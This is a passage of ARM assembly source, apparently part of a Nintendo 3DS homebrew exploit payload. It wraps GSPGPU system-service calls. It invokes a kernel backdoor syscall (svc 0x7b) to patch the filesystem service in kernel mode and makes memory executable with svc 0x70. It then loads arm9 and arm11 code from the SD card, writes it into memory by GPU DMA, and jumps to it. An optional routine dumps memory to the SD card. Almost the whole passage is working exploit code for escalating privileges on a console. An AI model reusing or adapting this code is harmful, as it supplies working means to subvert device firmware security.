sp, sp, #12 2598 | pop {r4, pc} 2599 | .pool 2600 | 2601 | GSPGPU_TriggerCmdReqQueue: 2602 | push {r4, lr} 2603 | blx get_cmdbufptr 2604 | mov r4, r0 2605 | 2606 | ldr r1, =0x000C0000 2607 | str r1, [r4, #0] 2608 | 2609 | ldr r0, [r7, #0x58] 2610 | ldr r0, [r0] 2611 | blx svcSendSyncRequest 2612 | cmp r0, #0 2613 | bne GSPGPU_TriggerCmdReqQueue_end 2614 | ldr r0, [r4, #4] 2615 | 2616 | GSPGPU_TriggerCmdReqQueue_end: 2617 | pop {r4, pc} 2618 | .pool 2619 | 2620 | GSPGPU_RegisterInterruptRelayQueue: @ r0=Handle eventHandle, r1=u32 flags, r2=Handle* outMemHandle, r3=u32* threadID 2621 | push {r0, r1, r2, r3, r4, lr} 2622 | blx get_cmdbufptr 2623 | mov r4, r0 2624 | 2625 | ldr r1, =0x00130042 2626 | str r1, [r4, #0] 2627 | ldr r1, [sp, #4] 2628 | str r1, [r4, #4] 2629 | mov r1, #0 2630 | str r1, [r4, #8] 2631 | ldr r1, [sp, #0] 2632 | str r1, [r4, #12] 2633 | 2634 | ldr r0, [r7, #0x58] 2635 | ldr r0, [r0] 2636 | blx svcSendSyncRequest 2637 | cmp r0, #0 2638 | bne GSPGPU_RegisterInterruptRelayQueue_end 2639 | 2640 | ldr r0, [r4, #4] 2641 | ldr r2, [sp, #12] 2642 | ldr r1, [r4, #8] 2643 | str r1, [r2] 2644 | ldr r2, [sp, #8] 2645 | ldr r1, [r4, #16] 2646 | str r1, [r2] 2647 | 2648 | GSPGPU_RegisterInterruptRelayQueue_end: 2649 | add sp, sp, #16 2650 | pop {r4, pc} 2651 | .pool 2652 | 2653 | GSPGPU_UnregisterInterruptRelayQueue: 2654 | push {r4, lr} 2655 | blx get_cmdbufptr 2656 | mov r4, r0 2657 | 2658 | ldr r1, =0x00140000 2659 | str r1, [r4, #0] 2660 | 2661 | ldr r0, [r7, #0x58] 2662 | ldr r0, [r0] 2663 | blx svcSendSyncRequest 2664 | cmp r0, #0 2665 | bne GSPGPU_UnregisterInterruptRelayQueue_end 2666 | ldr r0, [r4, #4] 2667 | 2668 | GSPGPU_UnregisterInterruptRelayQueue_end: 2669 | pop {r4, pc} 2670 | .pool 2671 | 2672 | GSPGPU_AcquireRight: @ r0=flag 2673 | push {r0, r4, lr} 2674 | blx get_cmdbufptr 2675 | mov r4, r0 2676 | 2677 | ldr r1, =0x00160042 2678 | str r1, [r4, #0] 2679 | ldr r1, [sp, #0] 2680 | str r1, [r4, #4] 2681 | mov r1, #0 2682 | str r1, [r4, #8] 2683 | ldr r1, =0xffff8001 2684 | str r1, [r4, #12] 2685 | 2686 | ldr r0, [r7, #0x58] 2687 | ldr r0, [r0] 2688 | blx svcSendSyncRequest 2689 | cmp r0, #0 2690 | bne GSPGPU_AcquireRight_end 2691 | ldr r0, [r4, #4] 2692 | 2693 | GSPGPU_AcquireRight_end: 2694 | add sp, sp, #4 2695 | pop {r4, pc} 2696 | .pool 2697 | 2698 | GSPGPU_ReleaseRight: 2699 | push {r4, lr} 2700 | blx get_cmdbufptr 2701 | mov r4, r0 2702 | 2703 | ldr r1, =0x00170000 2704 | str r1, [r4, #0] 2705 | 2706 | ldr r0, [r7, #0x58] 2707 | ldr r0, [r0] 2708 | blx svcSendSyncRequest 2709 | cmp r0, #0 2710 | bne GSPGPU_ReleaseRight_end 2711 | ldr r0, [r4, #4] 2712 | 2713 | GSPGPU_ReleaseRight_end: 2714 | pop {r4, pc} 2715 | .pool 2716 | 2717 | GSPGPU_SetLcdForceBlack: 2718 | push {r0, r4, lr} 2719 | blx get_cmdbufptr 2720 | mov r4, r0 2721 | 2722 | ldr r1, =0x000B0040 2723 | str r1, [r4, #0] 2724 | mov r1, sp 2725 | ldrb r1, [r1, #0] 2726 | strb r1, [r4, #4] 2727 | 2728 | ldr r0, [r7, #0x58] 2729 | ldr r0, [r0] 2730 | blx svcSendSyncRequest 2731 | cmp r0, #0 2732 | bne GSPGPU_SetLcdForceBlack_end 2733 | ldr r0, [r4, #4] 2734 | 2735 | GSPGPU_SetLcdForceBlack_end: 2736 | add sp, sp, #4 2737 | pop {r4, pc} 2738 | .pool 2739 | 2740 | GSPGPU_InvalidateDataCache: 2741 | push {r0, r1, r4, lr} 2742 | blx get_cmdbufptr 2743 | mov r4, r0 2744 | 2745 | ldr r1, =0x00090082 2746 | str r1, [r4, #0] 2747 | ldr r1, [sp, #0] 2748 | str r1, [r4, #4] 2749 | ldr r1, [sp, #4] 2750 | str r1, [r4, #8] 2751 | mov r1, #0 2752 | str r1, [r4, #12] 2753 | ldr r1, =0xffff8001 2754 | str r1, [r4, #16] 2755 | 2756 | ldr r0, [r7, #0x58] 2757 | ldr r0, [r0] 2758 | blx svcSendSyncRequest 2759 | cmp r0, #0 2760 | bne GSPGPU_InvalidateDataCache_end 2761 | ldr r0, [r4, #4] 2762 | 2763 | GSPGPU_InvalidateDataCache_end: 2764 | add sp, sp, #8 2765 | pop {r4, pc} 2766 | .pool 2767 | 2768 | #ifndef DISABLE_EXITLAUNCHTITLE_TYPE1 2769 | cfg_getregion: @ inr0=cfg handle*, inr1=u8* out 2770 | push {r0, r1, r2, r3, r4, r5, lr} 2771 | blx get_cmdbufptr 2772 | mov r4, r0 2773 | 2774 | ldr r0, [sp, #0] 2775 | 2776 | ldr r5, =0x00020000 2777 | str r5, [r4, #0] 2778 | ldr r0, [r0] 2779 | blx svcSendSyncRequest 2780 | cmp r0, #0 2781 | bne cfg_getregion_end 2782 | ldr r0, [r4, #4] 2783 | cmp r0, #0 2784 | bne cfg_getregion_end 2785 | 2786 | ldr r2, [sp, #4] 2787 | ldrb r1, [r4, #8] 2788 | strb r1, [r2] 2789 | 2790 | cfg_getregion_end: 2791 | add sp, sp, #16 2792 | pop {r4, r5, pc} 2793 | .pool 2794 | #endif 2795 | 2796 | loadsd_arm9code: 2797 | push {r4, r5, r6, lr} 2798 | sub sp, sp, #32 2799 | 2800 | ldr r5, =0x1000 2801 | add r5, r5, r7 2802 | 2803 | mov r0, #0 2804 | str r0, [sp, #4] 2805 | str r0, [sp, #8] 2806 | str r0, [sp, #12] 2807 | str r0, [sp, #16] 2808 | str r0, [sp, #20] 2809 | 2810 | bl APT_CheckNew3DS 2811 | mov r1, r5 2812 | sub r1, r1, #8 2813 | str r0, [r1] 2814 | lsl r0, r0, #30 2815 | mov r2, r0 2816 | 2817 | ldr r0, =0x1FF80002 2818 | ldr r0, [r0] @ +0 = KERNEL_VERSIONMINOR, +1 = KERNEL_VERSIONMAJOR, +2 = KERNEL_SYSCOREVER 2819 | mov r1, #1 2820 | lsl r1, #31 2821 | orr r0, r0, r1 2822 | orr r0, r0, r2 2823 | mov r6, r0 @ RUNNINGFWVER 2824 | 2825 | mov r1, r5 2826 | sub r1, r1, #4 2827 | str r0, [r1] 2828 | 2829 | /*blx getaddr_arm9codebin_filepath 2830 | 2831 | mov r1, r0 2832 | add r0, sp, #4 2833 | mov r2, #1 @ openflags=R 2834 | bl IFile_Open 2835 | bl throw_fatalerr_errcheck 2836 | 2837 | add r0, sp, #4 @ ctx 2838 | add r1, sp, #24 @ transfercount 2839 | mov r2, r5 2840 | add r2, r2, #8 2841 | ldr r3, =0x8000 2842 | sub r3, r3, #0x10 2843 | bl IFile_Read 2844 | bl throw_fatalerr_errcheck 2845 | 2846 | mov r1, #1 2847 | ldr r0, [sp, #4] 2848 | bic r0, r0, r1 2849 | bl IFile_Close*/ 2850 | 2851 | add r0, sp, #12 2852 | bl srv_init 2853 | bl throw_fatalerr_errcheck 2854 | 2855 | ldr r0, [r7, #0x50] @ fsuser handle 2856 | ldr r1, [r7, #0x54] @ filehandle 2857 | str r0, [sp, #16] 2858 | str r1, [sp, #20] 2859 | cmp r0, #0 2860 | bne loadsd_arm9code_openfile 2861 | 2862 | bl get_fsuser_servname 2863 | mov r2, r0 2864 | add r0, sp, #12 @ srv handle 2865 | add r1, sp, #16 @ Out handle 2866 | bl srv_GetServiceHandle 2867 | bl throw_fatalerr_errcheck 2868 | 2869 | add r0, sp, #16 2870 | bl fsuser_initialize 2871 | bl throw_fatalerr_errcheck 2872 | 2873 | loadsd_arm9code_openfile: 2874 | mov r0, #0 2875 | ldr r1, [sp, #20] 2876 | cmp r1, #0 2877 | bne loadsd_arm9code_readfile 2878 | 2879 | mov r0, #1 2880 | str r0, [sp, #0] @ openflags 2881 | add r0, sp, #20 2882 | str r0, [sp, #4] @ fileout handle* 2883 | blx getaddr_arm9codebin_filepath 2884 | mov r2, r0 @ lowpath buf 2885 | mov r3, r1 @ lowpath size 2886 | add r0, sp, #16 @ fsuser handle 2887 | mov r1, #9 @ archiveid 2888 | bl fsuser_openfiledirectly 2889 | cmp r0, #0 2890 | beq loadsd_arm9code_readfile 2891 | 2892 | bl kernelmode_patchfs_getadr 2893 | blx svc7b 2894 | 2895 | ldr r0, [sp, #16] 2896 | blx svcCloseHandle 2897 | 2898 | bl get_fsuser_servname 2899 | mov r2, r0 2900 | add r0, sp, #12 @ srv handle 2901 | add r1, sp, #16 @ Out handle 2902 | bl srv_GetServiceHandle 2903 | bl throw_fatalerr_errcheck 2904 | 2905 | add r0, sp, #16 2906 | bl fsuser_initialize 2907 | bl throw_fatalerr_errcheck 2908 | 2909 | mov r0, #1 2910 | str r0, [sp, #0] @ openflags 2911 | add r0, sp, #20 2912 | str r0, [sp, #4] @ fileout handle* 2913 | blx getaddr_arm9codebin_filepath 2914 | mov r2, r0 2915 | mov r3, r1 2916 | add r0, sp, #16 @ fsuser handle 2917 | mov r1, #9 @ archiveid 2918 | bl fsuser_openfiledirectly 2919 | 2920 | loadsd_arm9code_readfile: 2921 | mov r4, r0 2922 | 2923 | #ifdef DUMPMEMGPU 2924 | #ifdef DUMPMEMGPU_ADR 2925 | #ifdef DUMPMEMGPU_SIZE 2926 | add r0, sp, #16 2927 | ldr r1, =DUMPMEMGPU_ADR 2928 | ldr r2, =DUMPMEMGPU_SIZE 2929 | bl dumpmemgpu_writesd 2930 | #endif 2931 | #endif 2932 | #endif 2933 | 2934 | add r0, sp, #16 2935 | add r1, sp, #20 2936 | add r2, sp, #12 2937 | bl load_arm11code 2938 | 2939 | mov r0, r4 2940 | bl throw_fatalerr_errcheck 2941 | 2942 | add r0, sp, #24 2943 | str r0, [sp, #0] @ u32* total transfersize 2944 | add r0, sp, #20 @ filehandle* 2945 | mov r1, #0 @ u32 filepos 2946 | mov r2, r5 2947 | add r2, r2, #8 @ buf 2948 | ldr r3, =0x8000 2949 | sub r3, r3, #0x10 @ size 2950 | bl fsfile_read 2951 | bl throw_fatalerr_errcheck 2952 | 2953 | add r0, sp, #20 @ filehandle* 2954 | bl fsfile_close 2955 | 2956 | ldr r0, [sp, #20] 2957 | blx svcCloseHandle 2958 | 2959 | ldr r0, [sp, #16] 2960 | blx svcCloseHandle 2961 | 2962 | add r0, sp, #12 2963 | bl srv_shutdown 2964 | 2965 | ldr r1, =0x39444f43 2966 | ldr r0, [sp, #24] 2967 | str r1, [r5, #0] 2968 | str r0, [r5, #4] 2969 | 2970 | cmp r0, #0 2971 | bne loadsd_arm9code_sdloadend 2972 | mov r0, #5 2973 | mvn r0, r0 2974 | bl throw_fatalerr 2975 | 2976 | loadsd_arm9code_sdloadend: 2977 | mov r0, r5 2978 | add r0, r0, #16 2979 | ldr r1, =0x4d415250 2980 | ldr r2, [r0] 2981 | cmp r2, r1 2982 | bne loadsd_arm9code_end @ Only set the below paramaters when the word at loadaddr+4 matches the above word. 2983 | 2984 | add r0, r0, #4 2985 | mov r1, #3 2986 | str r1, [r0, #0] @ FIRMLAUNCH_RUNNINGTYPE 2987 | str r6, [r0, #4] @ RUNNINGFWVER 2988 | 2989 | loadsd_arm9code_end: 2990 | add sp, sp, #32 2991 | pop {r4, r5, r6, pc} 2992 | .pool 2993 | 2994 | load_arm11code: @ r0=fsuser handle*, inr1=arm9 fsfile handle*, inr2=srv handle 2995 | push {r4, r5, r6, lr} 2996 | sub sp, sp, #40 2997 | 2998 | ldr r5, =0x1000 2999 | add r5, r5, r7 3000 | 3001 | ldr r0, [r0] 3002 | str r0, [sp, #16] 3003 | ldr r0, [r1] 3004 | str r0, [sp, #32] 3005 | ldr r0, [r2] 3006 | str r0, [sp, #36] 3007 | 3008 | ldr r0, [r7, #0x60] @ LINEAR-mem address for the code 3009 | ldr r1, [r7, #0x64] @ jump vaddr for the code 3010 | cmp r1, #0 3011 | beq load_arm11code_end 3012 | cmp r0, #0 3013 | bne load_arm11code_readbegin 3014 | 3015 | mov r5, r1 3016 | mov r0, r5 3017 | ldr r1, =0x8000 3018 | blx memprot_code 3019 | 3020 | load_arm11code_readbegin: 3021 | mov r0, #1 3022 | str r0, [sp, #0] @ openflags 3023 | add r0, sp, #20 3024 | str r0, [sp, #4] @ fileout handle* 3025 | blx getaddr_arm11codebin_filepath 3026 | mov r2, r0 3027 | mov r3, r1 3028 | add r0, sp, #16 @ fsuser handle 3029 | mov r1, #9 @ archiveid 3030 | bl fsuser_openfiledirectly 3031 | cmp r0, #0 3032 | bne load_arm11code_end 3033 | 3034 | add r0, sp, #24 3035 | str r0, [sp, #0] @ u32* total transfersize 3036 | add r0, sp, #20 @ filehandle* 3037 | mov r1, #0 @ u32 filepos 3038 | mov r2, r5 @ buf 3039 | ldr r3, =0x8000 @ size 3040 | bl fsfile_read 3041 | bl throw_fatalerr_errcheck 3042 | 3043 | add r0, sp, #20 @ filehandle* 3044 | bl fsfile_close 3045 | 3046 | ldr r0, [sp, #20] 3047 | blx svcCloseHandle 3048 | 3049 | ldr r4, [sp, #24] 3050 | cmp r4, #0 3051 | beq load_arm11code_end 3052 | 3053 | mov r0, #0 3054 | bl GSPGPU_SetLcdForceBlack 3055 | 3056 | ldr r0, [r7, #0x60] 3057 | cmp r0, #0 3058 | beq load_arm11code_jumpend 3059 | 3060 | mov r0, #7 3061 | add r4, r4, r0 3062 | bic r4, r4, r0 3063 | 3064 | mov r0, r5 3065 | mov r1, r4 3066 | bl gsp_flushdcache 3067 | 3068 | mov r0, r5 @ src-addr 3069 | ldr r1, [r7, #0x60] @ dst-addr 3070 | mov r2, r4 @ size 3071 | 3072 | mov r3, #8 3073 | str r3, [sp, #12] @ flags 3074 | mov r3, #0 @ width0 3075 | str r3, [sp, #0] @ height0 3076 | str r3, [sp, #4] @ width1 3077 | str r3, [sp, #8] @ height1 3078 | blx gxlow_cmd4 3079 | 3080 | blx svcSleepThread_delay1second 3081 | 3082 | load_arm11code_jumpend: 3083 | mov r5, #0 3084 | str r5, [r7, #0x60] 3085 | ldr r6, [r7, #0x64] 3086 | str r5, [r7, #0x64] 3087 | ldr r5, [r7, #0x48] 3088 | mov r4, #0x10 3089 | orr r5, r5, r4 3090 | mov r4, #1 3091 | bic r5, r5, r4 3092 | str r5, [r7, #0x48] 3093 | 3094 | add r0, sp, #32 @ arm9 filehandle* 3095 | bl fsfile_close 3096 | 3097 | ldr r0, [sp, #32] 3098 | blx svcCloseHandle 3099 | 3100 | ldr r0, [sp, #16] @ fsuser handle 3101 | blx svcCloseHandle 3102 | 3103 | add r0, sp, #36 3104 | bl srv_shutdown 3105 | 3106 | adr r0, kernelpatchesfinish_cachestuff 3107 | blx svc7b 3108 | 3109 | mov r0, r7 3110 | blx r6 3111 | 3112 | load_arm11code_jumpendlp: 3113 | b load_arm11code_jumpendlp 3114 | 3115 | load_arm11code_end: 3116 | add sp, sp, #40 3117 | pop {r4, r5, r6, pc} 3118 | .pool 3119 | 3120 | #ifdef DUMPMEMGPU_ADR 3121 | #ifdef DUMPMEMGPU_SIZE 3122 | dumpmemgpu_writesd: 3123 | push {r4, r5, r6, lr} 3124 | sub sp, sp, #32 3125 | 3126 | mov r4, r1 3127 | mov r5, r2 3128 | 3129 | ldr r0, [r0] 3130 | str r0, [sp, #16] 3131 | 3132 | ldr r6, =0x1000 3133 | add r6, r6, r7 3134 | 3135 | mov r0, r4 @ src-addr 3136 | mov r1, r6 @ dst-addr 3137 | mov r2, r5 @ size 3138 | 3139 | mov r3, #8 3140 | str r3, [sp, #12] @ flags 3141 | mov r3, #0 @ width0 3142 | str r3, [sp, #0] @ height0 3143 | str r3, [sp, #4] @ width1 3144 | str r3, [sp, #8] @ height1 3145 | blx gxlow_cmd4 3146 | 3147 | blx svcSleepThread_delay1second 3148 | 3149 | mov r0, r6 3150 | mov r1, r5 3151 | bl GSPGPU_InvalidateDataCache 3152 | 3153 | mov r0, #6 3154 | str r0, [sp, #0] @ openflags 3155 | add r0, sp, #20 3156 | str r0, [sp, #4] @ fileout handle* 3157 | blx getaddr_arm11memdump_filepath 3158 | mov r2, r0 3159 | mov r3, r1 3160 | add r0, sp, #16 @ fsuser handle 3161 | mov r1, #9 @ archiveid 3162 | bl fsuser_openfiledirectly 3163 | cmp r0, #0 3164 | bne dumpmemgpu_writesd_end 3165 | 3166 | add r0, sp, #24 3167 | str r0, [sp, #0] @ u32* total transfersize 3168 | add r0, sp, #20 @ filehandle* 3169 | mov r1, #0 @ u32 filepos 3170 | mov r2, r6 @ buf 3171 | mov r3, r5 @ size 3172 | bl fsfile_write 3173 | bl throw_fatalerr_errcheck 3174 | 3175 | add r0, sp, #20 @ filehandle* 3176 | bl fsfile_close 3177 | 3178 | ldr r0, [sp, #20] 3179 | blx svcCloseHandle 3180 | 3181 | dumpmemgpu_writesd_end: 3182 | add sp, sp, #32 3183 | pop {r4, r5, r6, pc} 3184 | .pool 3185 | #endif 3186 | #endif 3187 | 3188 | throw_fatalerr_errcheck: 3189 | cmp r0, #0 3190 | blt throw_fatalerr 3191 | bx lr 3192 | 3193 | throw_fatalerr: 3194 | ldr r3, [r7, #4] 3195 | bx r3 3196 | .pool 3197 | 3198 | .arm 3199 | 3200 | .type gxlow_cmd4, %function 3201 | gxlow_cmd4: 3202 | push {r0, r1, r2, r3, r4, r5, r6, lr} 3203 | sub sp, sp, #32 3204 | 3205 | ldr r4, [sp, #0x40] 3206 | str r4, [sp, #0x0] 3207 | ldr r4, [sp, #0x44] 3208 | str r4, [sp, #0x4] 3209 | ldr r4, [sp, #0x48] 3210 | str r4, [sp, #0x8] 3211 | ldr r4, [sp, #0x4c] 3212 | str r4, [sp, #0xc] 3213 | 3214 | ldr r4, [r7, #0x1c] 3215 | cmp r4, #0 3216 | beq gxlow_cmd4_begin 3217 | blx r4 3218 | b gxlow_cmd4_end 3219 | 3220 | gxlow_cmd4_begin: 3221 | 3222 | mov r0, #0 3223 | mvn r0, r0 3224 | ldr r4, =0xfd0 3225 | ldr r4, [r7, r4] @ gxCmdBuf 3226 | cmp r4, #0 3227 | beq gxlow_cmd4_end 3228 | 3229 | mov r0, #4 @ Write the cmd-data to stack. 3230 | str r0, [sp, #0x0] @ cmdid 3231 | ldr r0, [sp, #0x20] @ input adr 3232 | str r0, [sp, #0x4] 3233 | ldr r0, [sp, #0x24] @ output adr 3234 | str r0, [sp, #0x8] 3235 | ldr r0, [sp, #0x28] @ size 3236 | str r0, [sp, #0xc] 3237 | 3238 | ldrh r0, [sp, #0x2c] 3239 | ldrh r1, [sp, #0x40] 3240 | lsl r1, r1, #16 3241 | str r1, [sp, #0x10] @ dimensions0 3242 | 3243 | ldrh r0, [sp, #0x44] 3244 | ldrh r1, [sp, #0x48] 3245 | lsl r1, r1, #16 3246 | str r1, [sp, #0x14] @ dimensions1 3247 | 3248 | ldr r1, [sp, #0x4c] 3249 | str r1, [sp, #0x18] @ flags 3250 | mov r1, #0 3251 | str r1, [sp, #0x1c] @ unused 3252 | 3253 | gxlow_cmd4_readhdr: 3254 | ldrex r5, [r4] 3255 | strex r0, r5, [r4] 3256 | cmp r0, #0 3257 | bne gxlow_cmd4_readhdr 3258 | 3259 | lsr r6, r5, #8 3260 | uxtb r6, r6 @ totalCommands 3261 | uxtb r5, r5 @ commandIndex 3262 | 3263 | mov r0, #0 3264 | mvn r0, r0 3265 | cmp r6, #15 3266 | bge gxlow_cmd4_end @ Return -2 when totalCommands is >=15. 3267 | 3268 | add r5, r5, r6 3269 | mov r0, #0xf 3270 | and r5, r5, r0 @ nextCmd 3271 | 3272 | mov r1, #0x20 3273 | mov r0, r4 3274 | add r0, r0, r1 3275 | mul r2, r5, r1 3276 | mov r5, r2 3277 | add r0, r0, r5 @ dst 3278 | mov r1, sp 3279 | mov r2, #0x20 3280 | 3281 | gxlow_cmd4_cpycmd: 3282 | ldr r3, [r1] 3283 | str r3, [r0] 3284 | add r0, r0, #4 3285 | add r1, r1, #4 3286 | sub r2, r2, #4 3287 | cmp r2, #0 3288 | bgt gxlow_cmd4_cpycmd 3289 | 3290 | gxlow_cmd4_updatehdr: 3291 | ldrex r5, [r4] 3292 | strex r0, r5, [r4] 3293 | cmp r0, #0 3294 | bne gxlow_cmd4_updatehdr 3295 | 3296 | lsr r6, r5, #8 3297 | uxtb r6, r6 @ totalCommands 3298 | add r6, r6, #1 3299 | ldr r1, =0xffff00ff 3300 | and r5, r5, r1 3301 | lsl r6, r6, #8 3302 | orr r5, r5, r6 3303 | 3304 | ldrex r1, [r4] 3305 | strex r0, r5, [r4] 3306 | cmp r0, #0 3307 | bne gxlow_cmd4_updatehdr 3308 | 3309 | mov r0, #0 3310 | lsr r6, r6, #8 3311 | cmp r6, #1 3312 | bgt gxlow_cmd4_end 3313 | 3314 | blx GSPGPU_TriggerCmdReqQueue 3315 | 3316 | gxlow_cmd4_end: 3317 | add sp, sp, #0x30 3318 | pop {r4, r5, r6, pc} 3319 | .pool 3320 | 3321 | .thumb 3322 | 3323 | gsp_flushdcache: 3324 | ldr r2, [r7, #0x58] 3325 | cmp r2, #0 3326 | bne gsp_flushdcache_cmd 3327 | ldr r2, [r7, #0x20] 3328 | bx r2 3329 | 3330 | gsp_flushdcache_cmd: 3331 | push {r0, r1, r4, lr} 3332 | blx get_cmdbufptr 3333 | mov r4, r0 3334 | 3335 | ldr r1, =0x00080082 3336 | str r1, [r4, #0] 3337 | ldr r1, [sp, #0] 3338 | ldr r2, [sp, #4] 3339 | str r1, [r4, #4] 3340 | str r2, [r4, #8] 3341 | mov r3, #0 3342 | str r3, [r4, #12] 3343 | ldr r3, =0xffff8001 3344 | str r3, [r4, #16] 3345 | 3346 | ldr r0, [r7, #0x58] 3347 | ldr r0, [r0] 3348 | blx svcSendSyncRequest 3349 | cmp r0, #0 3350 | bne gsp_flushdcache_end 3351 | ldr r0, [r4, #4] 3352 | 3353 | gsp_flushdcache_end: 3354 | add sp, sp, #8 3355 | pop {r4, pc} 3356 | .pool 3357 | 3358 | gsp_initialize: 3359 | push {r4, r5, r6, lr} 3360 | sub sp, sp, #32 3361 | ldr r0, [r7, #0x58] 3362 | cmp r0, #0 3363 | bne gsp_initialize_end 3364 | 3365 | ldr r1, =0xfc0 3366 | add r1, r1, r7 3367 | str r1, [r7, #0x58] 3368 | 3369 | ldr r0, =0xfc4 3370 | add r0, r0, r7 3371 | blx svcCreateEvent 3372 | bl throw_fatalerr_errcheck 3373 | 3374 | add r0, sp, #12 3375 | bl srv_init 3376 | bl throw_fatalerr_errcheck 3377 | 3378 | blx get_gspgpu_servname 3379 | mov r2, r0 3380 | add r0, sp, #12 @ srv handle 3381 | ldr r1, [r7, #0x58] @ Out handle 3382 | bl srv_GetServiceHandle 3383 | bl throw_fatalerr_errcheck 3384 | 3385 | add r0, sp, #12 3386 | bl srv_shutdown 3387 | 3388 | mov r0, #0 @ flag 3389 | bl GSPGPU_AcquireRight 3390 | bl throw_fatalerr_errcheck 3391 | 3392 | ldr r3, =0xfc4 3393 | add r3, r3, r7 3394 | ldr r0, [r3] @ eventHandle 3395 | mov r1, #1 @ flags 3396 | add r3, r3, #4 3397 | mov r2, r3 @ outMemHandle* (r7+0xfc8) 3398 | add r3, r3, #4 @ u32* threadID (r7+0xfcc) 3399 | bl GSPGPU_RegisterInterruptRelayQueue 3400 | bl throw_fatalerr_errcheck 3401 | 3402 | ldr r0, =0xfc8 3403 | ldr r0, [r7, r0] @ Handle memblock 3404 | ldr r1, =0x10002000 @ u32 addr 3405 | mov r2, #0x3 @ MemPerm my_perm 3406 | ldr r3, =0x10000000 @ MemPerm other_perm 3407 | bl svcMapMemoryBlock 3408 | bl throw_fatalerr_errcheck 3409 | 3410 | ldr r0, =0x10002800 3411 | ldr r1, =0xfcc 3412 | ldr r1, [r7, r1] @ r1=threadID 3413 | ldr r2, =0x200 3414 | mul r1, r1, r2 3415 | add r0, r0, r1 3416 | ldr r1, =0xfd0 3417 | str r0, [r7, r1] @ gxCmdBuf 3418 | 3419 | gsp_initialize_end: 3420 | add sp, sp, #32 3421 | pop {r4, r5, r6, pc} 3422 | .pool 3423 | 3424 | /*IFile_Open: @ r0 = ctx, r1 = utf16 path*, r2 = openflags 3425 | ldr r4, [r7, #0x24] 3426 | bx r4 3427 | .pool 3428 | 3429 | IFile_Close: @ r0 = u32 loaded from ctx+0 with bit0 cleared 3430 | ldr r4, [r7, #0x28] 3431 | bx r4 3432 | .pool 3433 | 3434 | IFile_GetSize: 3435 | ldr r4, [r7, #0x2c] 3436 | bx r4 3437 | .pool 3438 | 3439 | IFile_Seek: 3440 | ldr r4, [r7, #0x30] 3441 | bx r4 3442 | .pool 3443 | 3444 | IFile_Read: @ r0 = ctx, r1 = u32* transfercount, r2 = buf*, r3 = bufsize 3445 | ldr r4, [r7, #0x34] 3446 | bx r4 3447 | .pool 3448 | 3449 | IFile_Write: 3450 | ldr r4, [r7, #0x38] 3451 | bx r4 3452 | .pool*/ 3453 | 3454 | /*APT_PrepareToDoApplicationJump: 3455 | ldr r4, [r7, #0x40] 3456 | bx r4 3457 | .pool 3458 | 3459 | APT_DoApplicationJump: 3460 | ldr r4, [r7, #0x44] 3461 | bx r4 3462 | .pool*/ 3463 | 3464 | checkfail_thumb: 3465 | cmp r0, #0 3466 | bne fail_thumb 3467 | bx lr 3468 | 3469 | .align 2 3470 | fail_thumb: 3471 | blx fail 3472 | 3473 | .arm 3474 | 3475 | .type fail, %function 3476 | fail: 3477 | .word 0xffffffff 3478 | 3479 | .type svcControlMemory, %function 3480 | svcControlMemory: 3481 | svc 0x01 3482 | bx lr 3483 | 3484 | .type svcExitProcess, %function 3485 | svcExitProcess: 3486 | svc 0x03 3487 | bx lr 3488 | 3489 | .type svcSleepThread_delay1second_getadr, %function 3490 | svcSleepThread_delay1second_getadr: 3491 | adr r0, svcSleepThread_delay1second 3492 | bx lr 3493 | 3494 | .type svcSleepThread_delay1second, %function 3495 | .type svcSleepThread, %function 3496 | svcSleepThread_delay1second: 3497 | ldr r0, =1000000000 3498 | mov r1, #0 3499 | 3500 | svcSleepThread: 3501 | svc 0x0a 3502 | bx lr 3503 | .pool 3504 | 3505 | .type svcCreateEvent, %function 3506 | svcCreateEvent: 3507 | str r0, [sp, #-4]! 3508 | svc 0x17 3509 | ldr r2, [sp], #4 3510 | str r1, [r2] 3511 | bx lr 3512 | 3513 | .global svcMapMemoryBlock 3514 | .type svcMapMemoryBlock, %function 3515 | svcMapMemoryBlock: 3516 | svc 0x1F 3517 | bx lr 3518 | 3519 | .global svcUnmapMemoryBlock 3520 | .type svcUnmapMemoryBlock, %function 3521 | svcUnmapMemoryBlock: 3522 | svc 0x20 3523 | bx lr 3524 | 3525 | .type svcConnectToPort, %function 3526 | svcConnectToPort: 3527 | str r0, [sp,#-0x4]! 3528 | svc 0x2D 3529 | ldr r3, [sp], #4 3530 | str r1, [r3] 3531 | bx lr 3532 | 3533 | .type svcCloseHandle, %function 3534 | svcCloseHandle: 3535 | svc 0x23 3536 | bx lr 3537 | 3538 | .type svcSendSyncRequest, %function 3539 | svcSendSyncRequest: 3540 | svc 0x32 3541 | bx lr 3542 | 3543 | .type svcGetProcessId, %function 3544 | svcGetProcessId: 3545 | str r0, [sp, #-4]! 3546 | svc 0x35 3547 | ldr r2, [sp], #4 3548 | str r1, [r2] 3549 | bx lr 3550 | 3551 | .type svc7b, %function 3552 | svc7b: 3553 | svc 0x7b 3554 | bx lr 3555 | 3556 | .type memprot_code, %function 3557 | memprot_code: 3558 | push {r4, r5, r6, r7, r8, lr} 3559 | mov r7, r0 3560 | mov r8, r1 3561 | add r8, r8, r7 3562 | 3563 | ldr r1, =0xFFFF8001 3564 | svc 0x27 3565 | mov r6, r1 3566 | cmp r0, #0 3567 | bne memprot_code_end 3568 | 3569 | memprot_code_lp: 3570 | mov r0, r6 3571 | mov r1, r7 3572 | mov r2, #0 3573 | ldr r3, =0x1000 3574 | mov r4, #6 3575 | mov r5, #7 3576 | svc 0x70 3577 | cmp r0, #0 3578 | bne memprot_code_end 3579 | ldr r1, =0x1000 3580 | add r7, r7, r1 3581 | cmp r7, r8 3582 | blt memprot_code_lp 3583 | 3584 | memprot_code_end: 3585 | pop {r4, r5, r6, r7, r8, pc} 3586 | .pool 3587 | 3588 | .type get_cmdbufptr, %function 3589 | get_cmdbufptr: 3590 | mrc 15, 0, r0, cr13, cr0, 3 3591 | add r0, r0, #0x80 3592 | bx lr 3593 | 3594 | .type kernelpatchesfinish_cachestuff, %function 3595 | kernelpatchesfinish_cachestuff: 3596 | cpsid i @ disable IRQs 3597 | mov r0, #0 3598 | mcr p15, 0, r0, c7, c14, 0 @ "Clean and Invalidate Entire Data Cache" 3599 | mcr p15, 0, r0, c7, c10, 5 @ "Data Memory Barrier" 3600 | mcr p15, 0, r0, c7, c5, 0 @ "Invalidate Entire Instruction Cache. Also flushes the branch target cache" 3601 | mcr p15, 0, r0, c7, c10, 4 @ "Data Synchronization Barrier" 3602 | bx lr 3603 | 3604 | .type kernel_vaddr2physaddr, %function 3605 | kernel_vaddr2physaddr: 3606 | push {r4, lr} 3607 | mov r4, r0 3608 | 